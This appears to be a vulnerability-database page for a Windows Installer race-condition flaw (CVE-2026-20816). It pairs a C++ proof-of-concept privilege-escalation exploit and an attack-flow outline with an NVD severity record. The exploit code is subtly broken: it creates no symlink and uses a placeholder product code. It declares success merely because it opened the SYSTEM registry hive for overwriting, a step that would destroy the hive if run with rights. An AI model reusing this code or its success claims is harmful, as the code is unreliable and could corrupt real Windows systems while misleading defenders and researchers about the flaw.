CVE-2026-20816

// CVE-2026-20816 PoC - TOCTOU Race Condition in Windows Installer // This is a conceptual PoC demonstrating the race condition attack vector #include <windows.h> #include <stdio.h> #include <thread> #include <atomic> #define TARGET_PATH "C:\\Windows\\System32\\config\\SYSTEM" #define ATTACKER_CONTROLLED_PATH "C:\\Temp\\malicious_file" std::atomic<bool> race_window_open(false); std::atomic<bool> symlink_created(false); void RaceWindowThread() { // Wait for the race window to open while (!race_window_open.load()) { Sleep(1); } // Create symlink during the TOCTOU window // In real attack, this would use NtCreateSymbolicLinkObject HANDLE hFile = CreateFileA(TARGET_PATH, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile != INVALID_HANDLE_VALUE) { symlink_created.store(true); CloseHandle(hFile); } } void TriggerInstallerRepair() { // Trigger Windows Installer repair functionality // This creates the TOCTOU race condition window // Call MsiReinstallProduct or similar API // The installer will check permissions then perform file operations UINT result = MsiReinstallProduct( "{PRODUCT_CODE}", REINSTALL_FILE_ALL ); if (result != ERROR_SUCCESS) { printf("Installer repair failed: %u\n", result); } } int main() { printf("CVE-2026-20816 PoC - Windows Installer TOCTOU Race Condition\n"); printf("Target: Windows Installer\n"); printf("Impact: Local Privilege Escalation to SYSTEM\n\n"); // Create temporary directory for attack CreateDirectoryA("C:\\Temp", NULL); // Start race condition thread std::thread race_thread(RaceWindowThread); race_thread.detach(); // Open the race window race_window_open.store(true); // Trigger the vulnerable code path TriggerInstallerRepair(); // Check if attack succeeded if (symlink_created.load()) { printf("[+] Race condition successful!\n"); printf("[+] System file replaced during TOCTOU window\n"); printf("[+] Privilege escalation achieved\n"); } else { printf("[-] Race condition failed, try again\n"); } printf("\nNote: This is a conceptual PoC for educational purposes.\n"); printf("Actual exploitation requires precise timing and specific conditions.\n"); return 0; } /* Attack Flow: 1. Attacker with low privileges identifies Windows Installer operation 2. Attacker prepares symlink/junction pointing to privileged location 3. Attacker triggers installer repair/update operation 4. During TOCTOU window (permission check vs file operation), attacker swaps target 5. Installer writes to attacker-controlled location with elevated privileges 6. Attacker gains control over system files or registry hives 7. Attacker achieves SYSTEM-level code execution */

{"cve": {"id": "CVE-2026-20816", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:08.437", "lastModified": "2026-01-14T20:29:02.597", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Time-of-check time-of-use (toctou) race condition in Windows Installer allows an authorized attacker to elevate privileges locally."}, {"lang": "es", "value": "La condición de carrera Time-of-check time-of-use (toctou) en Windows Installer permite a un atacante autorizado elevar privilegios localmente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, 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